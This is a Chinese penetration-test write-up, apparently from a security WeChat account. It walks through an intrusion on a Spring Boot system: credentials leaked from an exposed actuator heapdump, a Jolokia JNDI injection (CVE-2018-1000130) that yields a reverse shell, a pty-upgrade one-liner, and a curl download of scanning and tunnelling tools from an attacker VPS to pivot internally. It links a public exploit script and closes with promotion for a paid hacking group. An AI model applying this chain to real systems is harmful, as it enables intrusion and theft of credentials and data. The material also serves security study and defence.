某X渗透RCE+heapdump信息泄露引发的血案
2023-3-30 20:2:7 Author: 渗透安全团队(查看原文) 阅读量:36 收藏

现在只对常读和星标的公众号才展示大图推送,建议大家能把渗透安全团队设为星标”,否则可能就看不到了啦

1.思路

目前该漏洞已完全修复,这里做一个复盘,总结下整体利用过程

heapdump信息泄露-弱口令-RCE-数据库-后台弱口令-内网系统弱口令-敏感信息挖掘

2.Heapdump信息泄露

Springboot搭建的系统,首先访问Actuator模块,看有哪些端点暴露,最常见的就是env、info、metrics等等,最喜人乐见的就是heapdump、gateway、jolokia等,前者可能导致轻微信息泄露、而后者可能导致敏感信息泄露乃至RCE进内网。

这里需要注意的是,访问Springboot的系统,有时候URL后边直接加actuator提示404并不代表端点没有暴露,可能是文件目录导致的,就比如这次渗透的目标站点就是如此:https://target.com:8090/xxx/actuator/

访问actuator,查看暴露的端点,发现heapdump文件,直接下载下来打开即可。这里打开heapdump转储文件,打开heapdump的方式有多种,MAT、JDumpSpider-1.0-SNAPSHOT-full.jar、heapdump_tool.jar等等,GitHub也有其它的打开工具,往往一种工具查出来的信息不完整,比如直接用JDumpSpider-1.0-SNAPSHOT-full.jar跑出来的结果可能不全,但是跑出的结果很清晰、heapdump_tool.jar跑出来的结果更全一些,但是结果展示不是很清晰。建议都跑一遍,确保收集信息的广度,这个后边会继续提到

使用JDumpSpider只跑出来了本地数据库账号口令(为后边拿下内网数据库做了铺垫)

继续用heapdump_tool.jar在跑一下

等数据加载完之后,输入关键字进行关键字查询:password、geturl、getfile等,直接输入password搜索password字样

将收集到的密码做成字典,后期可以做爆破口令用,成功登陆外网druid

3.jolokia命令执行(CVE-2018-1000130)

目标不止有heapdump、还有jolokia端点,jolokia存在RCE漏洞,但是有利用条件(目标JDK版本、是否存在端点以及引用了jolokia-core依赖等):直接访问/jolokia/list查看有无type=MBeanFactory 和 createJNDIRealm参数可判断是否可能RCE,jolokia/list下存在这两个参数,尝试进行jndi注入(GitHub有诸多jndi工具以及利用详情)

目标有接收请求,貌似也请求了VPS上的class文件,但是反弹shell没反应。大概率是目标主机jdk版本过高导致反弹shell失败,尝试进行高版本jdk进行jndi注入。

提取准备好base64编码之后的反弹shell语句

启动jndi工具

这里使用py工具发送payload:

https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py

py文件url以及payload修改成jndi工具生成的恶意payload,运行py

反弹shell成功,反弹回来的shell很多命令没法用,目标主机存在python环境,使用ptyshell实现简单的tty

python -c 'import pty; pty.spawn("/bin/bash")'

目标主机ubuntu,sudo su切换到root用户

4.登陆数据库

heapdump泄露的数据库账号密码尝试登陆数据库

查找用户名口令:

MD5加密的管理员密码,尝试解密:

由于heapdump在管理系统目录下:xxx/actuator/heapdump,猜测密码大概率是后台管理系统密码

口令登陆成功:涉及信息过于敏感,暂时不放图了

5.NPC落地进内网

VPS开启python服务,目标主机cd到tmp目录下:

curl -O http://xxx:8888/kscan

将kscan与npc端下载到目标主机tmp目录下

运行NPC端:

主机成功上线:

proxifier设置socks5代理尝试连接:

proxifier添加firefox规则后,根据kscan扫描出的结果尝试访问web服务:

弱口令*1

尝试使用数据库中存储的密码挨个进行登陆~

6.敏感信息泄露

查找系统中propertie配置文件,获取多个appkey和secret信息

较为敏感的信息就不在放出了

主要高版本jdk的jndi注入以及信息收集(收集密码做字典定向爆破)的结果,才使得进入内网之后可以拿下多个后台管理系统,从而获取大量敏感信息。


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247502038&idx=3&sn=fcb10a960754a5c22673dd3b0b7e07ab&chksm=c1763579f601bc6f9d91fd4572be9bdd56003337c3d31b156177182d134da23e14be2a57da41#rd
如有侵权请联系:admin#unsafe.sh